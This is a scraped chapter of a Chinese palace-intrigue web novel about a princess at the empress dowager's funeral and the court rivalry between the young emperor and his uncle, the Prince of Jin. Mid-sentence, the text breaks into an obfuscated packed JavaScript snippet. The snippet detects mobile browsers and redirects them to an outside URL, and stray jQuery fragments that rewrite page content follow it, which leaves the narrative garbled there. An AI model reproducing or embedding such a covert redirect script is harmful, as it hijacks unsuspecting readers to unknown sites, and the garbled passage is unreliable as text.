默认冷灰
24号文字
方正启体

5.池畔

作者:山间人本书字数:K更新时间:
    “朕瞧瞧阿姊的手,”


    李璟上来后,坐在伽罗身边,又一次捧起她沾了血迹的那只手,扬声道:“来人,弄些茶水来。”


    随侍在外的鱼怀光立即递了托盘入内,一壶煎茶汤,一壶温开水。


    李璟接了开水,却不是用来饮的,而是用来打湿一方巾帕。


    他低着头,一手摊开,捧着伽罗的指尖,另一手则拿着沾湿的巾帕,替她一点一点擦拭干涸的血迹,一面擦,一面凑近了,时不时轻轻地吹。


    微凉的空气掠过指尖,伽罗咬了咬唇,说:“陛下,我的指尖又不曾有伤口,哪需这般小心?”


    “即便没有伤口,朕也觉得心疼。”


    伽罗抿唇,在他的目光中无奈地笑了笑,没再说话。


    李璟对她亲厚,本是好事,有圣眷在身,可令她在邺都数不清的天潢贵胄中获得一席之地,可落在有些人眼里,却不见得是好事。


    他已经十六岁了,到了可以成家立室的年纪。


    如今是升平盛世,邺都许多高门大户的郎君们若玩心重些,到二十方有成婚之意。可李璟不同,他是少年天子,是急欲收拢大权的天子,对他而言,成家立室,正是个向朝臣、向天下宣告可以亲政的好机会。


    虽然先前因为种种原因,朝中还暂未将此事抬出,但伽罗心中一直有数,萧太后一早就有了主意,为保住萧家荣华,李璟的皇后必得是萧氏女,这也是萧嵩这些年之所以死心塌地站在李璟这一边,为其绞尽脑汁筹谋夺权的缘故之一。


    天家的血脉亲情,在遇上权力时,都变得不那么重要。


    萧嵩膝下一双儿女,令延、令仪,说来也与伽罗年纪相当,早几年随萧嵩在地方任职,鲜少入邺都,后来萧嵩升任至中枢,方跟着经常出入宫廷,侍奉太后膝下。


    萧嵩有意扶自己的女儿入主紫微宫,自然不愿见李璟与她这个皇家养女太过亲近。


    伽罗不愿卷入他们的争斗。


    她只是个孤女,身后没有家世的支撑,只有沦为俎上鱼肉的份,况且,如今情况并不明朗,无法断言最终谁才是胜者,不值得她赌上自己的一切。


    很快,御车在大业殿前停下,众人在太常寺宫员与内监们的指引下,纷纷列于殿前空地,先向天子行礼。


    伽罗又多留意了周遭的皇室近亲。


    大长公主列于最前,大礼开始前,特意回首过来,同伽罗点头致意,而她的身边,已多了一位年轻郎君。


    绯色官袍,腰配银鱼袋,看来只是个五品官员,照规矩,没资格站在这处,可他生得十分俊秀,看来才不过二十的年纪,身量颀长,带着些文气,有从少年郎逐渐变作成熟郎君时的清瘦,举止之间,更是透着天潢贵胄、龙子凤孙们才有的矜贵,俨然不是寻常五品官员。


    大约见大长公主往这边看,那年轻郎君也朝伽罗的方向看了一眼。


    二人恰好四目相对,他的眼神冰冷中带着刺目的猜测与怀疑。


    伽罗几乎在同他对视的那一瞬间,就迅速移开视线,流露出一丝紧张。


    数年未见,尽管面目变得有些陌生,可那样冷淡的,与旁人皆不相同的眼神,伽罗怎么也忘不掉——那是大长公主与已故的尚书令杜燧的独子,如今在户部任职的杜修仁。


    这几年,他一直在地方任职,已许久没有在紫微宫出现过,想来,这次也是接到噩耗,才马不停蹄赶回邺都。


    大长公主目光在两人之间一转,伸手轻轻拍了下儿子的胳膊,带着警告。


    杜修仁皱了皱眉,移开视线,没再理会伽罗,眼见大礼即将开始,冲母亲行个礼,便快步朝自己的位置行去。


    很快,礼官再度高声请众人列队,在天子的带领下,向殿内太后灵位行大礼。


    天家礼仪繁琐,这一整日,几乎都是跟着礼官的指引,不断行礼,直到最后,赙赗、停柩待葬,整个丧仪才算暂时完毕。


    照太常寺查阅典籍、同天子商议的结果,太后灵柩要在宫中停满三月,至七月初方可在护送下,移往郊外皇陵入葬。


    这三月里,大邺上下行国丧之礼,近亲需照五服规矩日日着孝服,皇亲国戚、文武百官禁嫁娶宴乐,整个邺都都要沉浸在低沉悲伤的氛围中。


    日暮时分,伽罗谢过近亲女眷们的关心与宽慰,又同她们一一拜别,这才带着鹊枝、雁回等一道回清辉殿。


    连日的紧绷与疲惫,终于在踏进正殿的那一刻彻底卸下。


    雁回领着两名内侍往膳房领晚膳,鹊枝留在殿中伺候,先捧着衣裳过来,替伽罗更衣,又要转身吩咐往浴房备水,依伽罗往日习惯,自外头回来,总要先沐浴一番才觉浑身舒坦。


    可伽罗摆摆手,说:“让他们别急,晚些再备水。”


    鹊枝愣了下,吩咐下去,待内侍们下去,才来到伽罗身边:“贵主,一会儿可是还要出去?”


    伽罗点头,没有直说,用过夕食后,便自己进了内室,从搁在榻边的一只妆奁中取出一罐金创药。


    八岁那年,她因母亲辛梵儿背叛部族的缘故,在草原上颇受了几日欺凌,离开时,身上大大小小留了不少伤,一路上抹着金创药,直到入宫都未好透。


    当时到底有多痛,她早就不记得了,可从那时起,她便一直记着在自己的屋中存一罐金创药,多年不曾断过。


    其实她后来也没再有过用金创药的机会,仅有的几次开罐,都是给身边的宫女、内侍用,他们日常要干活,伺候公主虽然不是什么重活,但他们被分来时,也都是十来岁的孩子,出入间,偶尔也会因粗心伤筋动骨。


    “贵主!”鹊枝吓了一跳,“哪儿受伤了?”


    伽罗摇头,也没解释,只吩咐鹊枝去库房取个小瓷瓶来,亲自从罐子里挖了药膏装进瓷瓶中。


    “走吧,咱们去九洲池畔。”


    她说着,带上鹊枝,出了清辉殿,往南行去。


    雁回她们不知伽罗的打算,只以为公主经了太后丧仪,心中郁气难消,想到九洲池边散散心,可鹊枝却猜到了她的打算


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451667|185061||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “贵主要去见……晋王?”


    如今天子年少,尚无子嗣,其余与李璟同辈的皇子、公主也都已成年,陆续搬出宫去,偌大的西隔城,只伽罗一人长居清辉殿,可今日,还多了一位晋王。


    方才大礼毕后,李璟当场召了三省几位元老重臣,一同往西上阁议政。


    这几日,他为太后守丧,须遵孝道,辍朝多日,朝臣们也都忙着入宫祭奠,堆积了许多事务,亟待处理。


    李玄寂已经许久未在宫中留宿过,但想来今夜当是要宿在仁智院了。


    伽罗轻轻点头,带着鹊枝绕到九洲池北面的一处水榭,心中早想好西隔城的地形——仁智院位于九洲池西畔,李玄寂自阊阖门入西隔城后,必要经过此处。


    -


    西上阁的议事持续至近亥时。


    天子坐居中高座,晋王则另置坐榻,与天子同向,只略前数寸,二人一同面对着分两边而坐的诸臣。


    明早朝会即将恢复,今夜诸臣要议的,便是明早朝会上要交六部众臣共商的事务,说是请三省重臣议事,实则李璟早已与萧嵩等人事先有了主张。


    倒是左相,也就是门下侍中崔伯琨为人中直,在党争中并未偏向任何一方,素来就事论事,这才能稳住两方平衡,未令权力争斗直接到不分是非曲直,只论你死我活的地步。


    也许是清早在隆庆门已罚过李玄寂心腹的缘故,李璟今夜的态度格外谦虚,事事都先问过李玄寂的意思,这才敢说出自己的意思。


    至于李玄寂,却与以往无甚不同,仍是沉默寡言,只偶尔点几位坐在下面的臣子说话,算是表明自己的态度。


    太后驾崩,既没让他变得比从前多些张狂和有恃无恐,更没让他多一丝愧疚与退让。


    只是,待朝中事议毕,众人要散前,李玄寂淡淡问了句:“三个月后,太后灵柩入皇陵,圣上可要亲自前往?”


    李璟道:“太后乃朕嫡亲生母,朕自当亲自扶棺入皇陵。”


    皇陵位于邺都城郊,早先,先帝驾崩时,他因年幼,刚刚坐上皇位,恐朝局不稳,并未亲自扶棺送葬,只是一路送至邺都南面的长夏门,其余则由李玄寂代为护送。


    如今局势不同,他也已十六岁,自然要亲自送葬。


    李玄寂搁下手中的茶盏,慢慢道:“圣驾要出邺都,必得护卫周全,看来,臣还需好好敲打卫将军,到时,可不能再有今日这样的疏漏。”


    李璟面色一顿,飞快地瞥他一眼。


    “还是王叔思虑缜密,朕还有许多事,都要仰赖王叔决断,只有请王叔再多受累些。”接着,又转向鱼怀光,“一会儿将朕这几日才阅过的奏疏先送到仁智院,请王叔代朕批阅。”


    这是要暂退一步,向李玄寂示好。


    李玄寂扯了下唇角,并不意外,也未拒绝,只说:“为陛下分忧,本是臣的本分。时辰不早,请陛下早些歇息,莫因劳累损伤圣体。”


    说罢,略行了礼,不等李璟应声,便起身离开。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)